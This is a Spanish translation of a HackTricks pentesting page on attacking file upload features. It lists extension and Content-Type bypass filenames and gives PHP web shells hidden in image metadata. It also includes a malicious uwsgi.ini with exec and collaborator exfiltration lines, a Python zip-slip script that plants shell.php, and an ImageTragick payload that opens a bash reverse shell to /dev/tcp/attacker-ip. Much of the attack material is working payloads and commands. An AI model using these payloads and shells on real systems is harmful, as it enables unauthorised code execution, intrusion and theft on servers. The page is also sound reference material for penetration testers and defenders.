hacktricks/pentesting-web/file-upload
2023-08-29 18:18:32 +00:00
..
pdf-upload-xxe-and-cors-bypass.md f 2023-06-05 20:33:24 +02:00
README.md Translated ['pentesting-web/file-upload/README.md'] to es 2023-08-29 18:18:32 +00:00

Subida de archivos

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Consejo de recompensa por errores: ¡regístrate en Intigriti, una plataforma premium de recompensas por errores creada por hackers, para hackers! Únete a nosotros en https://go.intigriti.com/hacktricks hoy mismo y comienza a ganar recompensas de hasta $100,000.

{% embed url="https://go.intigriti.com/hacktricks" %}

Metodología general de subida de archivos

Otras extensiones útiles:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Trabajando en PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Servidor web Erlang Yaws: .yaws

Saltar las comprobaciones de extensiones de archivos

  1. Si se aplican, comprueba las extensiones anteriores. Prueba también con algunas letras mayúsculas: pHp, .pHP5, .PhAr ...
  2. Comprueba añadiendo una extensión válida antes de la extensión de ejecución (usa también las extensiones anteriores):
  • file.png.php
  • file.png.Php5
  1. Intenta añadir caracteres especiales al final. Puedes usar Burp para probar todas las letras ascii y Unicode. (Ten en cuenta que también puedes probar usar las extensiones anteriores)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. Intenta saltar las protecciones engañando al analizador de extensiones del lado del servidor con técnicas como duplicar la extensión o añadir datos basura (bytes nulos) entre extensiones. También puedes usar las extensiones anteriores para preparar una carga útil mejor.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Añade otra capa de extensiones a la comprobación anterior:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Intenta poner la extensión de ejecución antes de la extensión válida y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con la extensión .php, pero no necesariamente terminando en .php, ejecutará código):
  • ej: file.php.png
  1. Usa NTFS alternate data stream (ADS) en Windows. En este caso, se insertará un carácter de dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará un archivo vacío con la extensión prohibida en el servidor (por ejemplo, "file.asax:.jpg"). Este archivo podría editarse más tarde utilizando otras técnicas, como usar su nombre de archivo corto. El patrón "::$data" también se puede usar para crear archivos no vacíos. Por lo tanto, añadir un carácter de punto después de este patrón también puede ser útil para saltar restricciones adicionales (por ejemplo, "file.asp::$data.")
  2. Intenta romper los límites del nombre de archivo. La extensión válida se corta y se deja el PHP malicioso. AAA<--SNIP-->AAA.php
# Linux máximo 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aquí y añadiendo .png
# Sube el archivo y comprueba la respuesta para ver cuántos caracteres permite. Digamos que 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Crear el payload
AAA<--SNIP 232 A-->AAA.php.png

Bypass de Content-Type, Magic Number, Compresión y Redimensionamiento

  • Bypass de las comprobaciones de Content-Type estableciendo el valor de la cabecera Content-Type a: image/png, text/plain, application/octet-stream_
  1. Wordlist de Content-Type: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
  • Bypass de la comprobación de magic number añadiendo al principio del archivo los bytes de una imagen real (confundir el comando file). O introducir la shell dentro de los metadatos:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ o también podrías introducir directamente el payload en una imagen:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Si se está añadiendo compresión a la imagen, por ejemplo utilizando algunas bibliotecas PHP estándar como PHP-GD, las técnicas anteriores no serán útiles. Sin embargo, podrías utilizar la técnica del chunk PLTE definida aquí para insertar algún texto que sobreviva a la compresión.
  • Github con el código
  • La página web también podría estar redimensionando la imagen, utilizando por ejemplo las funciones PHP-GD imagecopyresized o imagecopyresampled. Sin embargo, podrías utilizar la técnica del chunk IDAT definida aquí para insertar algún texto que sobreviva a la compresión.
  • Github con el código
  • Otra técnica para crear un payload que sobreviva a un redimensionamiento de imagen, utilizando la función PHP-GD thumbnailImage. Sin embargo, podrías utilizar la técnica del chunk tEXt definida aquí para insertar algún texto que sobreviva a la compresión.
  • Github con el código

Otros trucos para comprobar

  • Encontrar una vulnerabilidad para renombrar el archivo ya subido (cambiar la extensión).
  • Encontrar una vulnerabilidad de Inclusión de Archivos Locales para ejecutar la puerta trasera.
  • Posible divulgación de información:
  1. Subir varias veces (y al mismo tiempo) el mismo archivo con el mismo nombre
  2. Subir un archivo con el nombre de un archivo o carpeta que ya existe
  3. Subir un archivo con “.”, “..”, o “…” como su nombre. Por ejemplo, en Apache en Windows, si la aplicación guarda los archivos subidos en el directorio “/www/uploads/”, el nombre de archivo “.” creará un archivo llamado “uploads” en el directorio “/www/”.
  4. Subir un archivo que no se pueda eliminar fácilmente, como “…:.jpg” en NTFS. (Windows)
  5. Subir un archivo en Windows con caracteres no válidos como |<>*?” en su nombre. (Windows)
  6. Subir un archivo en Windows utilizando nombres reservados (prohibidos) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 y LPT9.
  • También intenta subir un ejecutable (.exe) o un .html (menos sospechoso) que ejecutará código cuando sea abierto accidentalmente por la víctima.

Trucos especiales de extensión

Si estás intentando subir archivos a un servidor PHP, echa un vistazo al truco de .htaccess para ejecutar código.
Si estás intentando subir archivos a un servidor ASP, echa un vistazo al truco de .config para ejecutar código.

Los archivos .phar son como los archivos .jar para Java, pero para PHP, y se pueden utilizar como un archivo PHP (ejecutándolo con PHP o incluyéndolo dentro de un script...).

La extensión .inc se utiliza a veces para archivos PHP que solo se utilizan para importar archivos, por lo que en algún momento alguien podría haber permitido ejecutar esta extensión.

Jetty RCE

Si puedes subir un archivo XML a un servidor Jetty, puedes obtener RCE porque los nuevos *.xml y *.war se procesan automáticamente. Así que, como se menciona en la siguiente imagen, sube el archivo XML a $JETTY_BASE/webapps/ ¡y espera la shell!

uWSGI RCE

Si puedes reemplazar el archivo de configuración .ini de un servidor uWSGI, puedes obtener RCE. De hecho, los archivos de configuración de uWSGI pueden incluir variables "mágicas", marcadores y operadores definidos con una sintaxis precisa. El operador '@' en particular se utiliza en forma de @(nombre de archivo) para incluir el contenido de un archivo. Se admiten muchos esquemas de uWSGI, incluido "exec", que es útil para leer la salida estándar de un proceso. Estos operadores se pueden utilizar para la ejecución remota de comandos o para escribir/leer archivos arbitrarios cuando se analiza un archivo de configuración .ini:

Ejemplo de archivo uwsgi.ini malicioso:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Cuando se analice el archivo de configuración, se ejecutará la carga útil. Tenga en cuenta que para que se analice la configuración, el proceso debe reiniciarse (¿crash? ¿DoS?) o el archivo se recargará automáticamente (una opción que podría estar en uso indica los segundos para recargar el archivo si se encuentra un cambio).

Nota importante: El análisis del archivo de configuración de uWSGI es laxo. La carga útil anterior puede estar incrustada dentro de un archivo binario (por ejemplo, imagen, pdf, ...).

Truco de carga de archivos/SSRF con wget

En algunas ocasiones, puede suceder que un servidor esté utilizando wget para descargar archivos y se pueda indicar la URL. En estos casos, es posible que el código esté verificando que la extensión de los archivos descargados esté dentro de una lista blanca para asegurarse de que solo se descarguen archivos permitidos. Sin embargo, esta verificación se puede eludir.
La longitud máxima de un nombre de archivo en Linux es de 255, sin embargo, wget trunca los nombres de archivo a 236 caracteres. Puede descargar un archivo llamado "A"*232+".php"+".gif", este nombre de archivo eludirá la verificación (como en este ejemplo ".gif" es una extensión válida), pero wget renombrará el archivo a "A"*232+".php".

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]

Ten en cuenta que otra opción que puedes estar considerando para evadir esta verificación es hacer que el servidor HTTP redirija a un archivo diferente, de modo que la URL inicial evite la verificación y luego wget descargará el archivo redirigido con el nuevo nombre. Esto no funcionará a menos que wget se esté utilizando con el parámetro --trust-server-names, porque wget descargará la página redirigida con el nombre del archivo indicado en la URL original.

Otros recursos

Herramientas

  • Upload Bypass es una poderosa herramienta diseñada para ayudar a los Pentesters y Cazadores de Bugs en la prueba de mecanismos de carga de archivos. Utiliza varias técnicas de recompensa por errores para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando una evaluación exhaustiva de las aplicaciones web.

Desde la carga de archivos hasta otras vulnerabilidades

Aquí tienes una lista de los 10 principales logros que puedes obtener mediante la carga de archivos (de enlace):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: XSS almacenado / SSRF / XXE
  3. GIF: XSS almacenado / SSRF
  4. CSV: Inyección de CSV
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : Inyección de HTML / XSS / Redirección abierta
  8. PNG / JPEG: Ataque de inundación de píxeles (DoS)
  9. ZIP: RCE a través de LFI / DoS
  10. PDF / PPTX: SSRF / XXE Ciego

Extensión de Burp

{% embed url="https://github.com/portswigger/upload-scanner" %}

Bytes mágicos de encabezado

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
  • JPG: "\xff\xd8\xff"

Consulta https://en.wikipedia.org/wiki/List_of_file_signatures para obtener otros tipos de archivos.

Carga automática de archivos Zip/Tar descomprimidos

Si puedes cargar un archivo ZIP que se va a descomprimir en el servidor, puedes hacer 2 cosas:

Enlace simbólico

Carga un enlace que contenga enlaces simbólicos a otros archivos, luego, al acceder a los archivos descomprimidos, accederás a los archivos vinculados:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Descomprimir en diferentes carpetas

Los archivos descomprimidos se crearán en carpetas inesperadas.

Uno podría asumir fácilmente que esta configuración protege contra la ejecución de comandos a nivel de sistema operativo a través de cargas de archivos maliciosos, pero desafortunadamente esto no es cierto. Dado que el formato de archivo ZIP admite compresión jerárquica y también podemos hacer referencia a directorios de niveles superiores, podemos escapar del directorio de carga seguro abusando de la función de descompresión de la aplicación objetivo.

Se puede encontrar un exploit automatizado para crear este tipo de archivos aquí: https://github.com/ptoomey3/evilarc

python2 evilarc.py -h
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

También puedes usar el truco del symlink con evilarc, si la bandera está en /flag.txt asegúrate de crear un symlink a ese archivo y crear ese archivo en tu sistema para que cuando llames a evilarc no genere un error.

Código en Python para crear un archivo zip malicioso:

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Para lograr la ejecución remota de comandos, seguí los siguientes pasos:

  1. Crear una shell en PHP:
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. Utiliza la técnica de "rociado de archivos" y crea un archivo zip comprimido:
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
  1. Utiliza un editor hexadecimal o vi y cambia "xxA" por "../", yo utilicé vi:
:set modifiable
:%s/xxA/..\//g
:x!

¡Solo queda un paso! ¡Sube el archivo ZIP y deja que la aplicación lo descomprima! Si tiene éxito y el servidor web tiene suficientes privilegios para escribir en los directorios, habrá una simple ejecución de comandos del sistema operativo:

b1

Referencia: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

ImageTragic

Sube este contenido con una extensión de imagen para explotar la vulnerabilidad (ImageMagick, 7.0.1-1)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Incrustando una Shell de PHP en una imagen PNG

La razón principal para poner una shell web en el chunk IDAT es que tiene la capacidad de evadir operaciones de redimensionamiento y re-muestreo: PHP-GD contiene dos funciones para hacer esto imagecopyresized y imagecopyresampled.

Lee este artículo: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Archivos Políglotos

Los políglotos, en un contexto de seguridad, son archivos que son una forma válida de múltiples tipos de archivos diferentes. Por ejemplo, un GIFAR es tanto un archivo GIF como un archivo RAR. También existen archivos que pueden ser tanto GIF como JS, tanto PPT como JS, etc.

Los archivos políglotos se utilizan a menudo para evadir protecciones basadas en tipos de archivos. Muchas aplicaciones que permiten a los usuarios cargar archivos solo permiten cargar ciertos tipos, como JPEG, GIF, DOC, para evitar que los usuarios carguen archivos potencialmente peligrosos como archivos JS, archivos PHP o archivos Phar.

Esto ayuda a cargar un archivo que cumple con el formato de varios formatos diferentes. Puede permitirte cargar un archivo PHAR (PHp ARchive) que también parece ser un JPEG, pero probablemente aún necesitarás una extensión válida y si la función de carga no lo permite, esto no te ayudará.

Más información en: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a


Consejo de recompensa por errores: regístrate en Intigriti, una plataforma premium de recompensas por errores creada por hackers, para hackers. ¡Únete a nosotros en https://go.intigriti.com/hacktricks hoy mismo y comienza a ganar recompensas de hasta $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥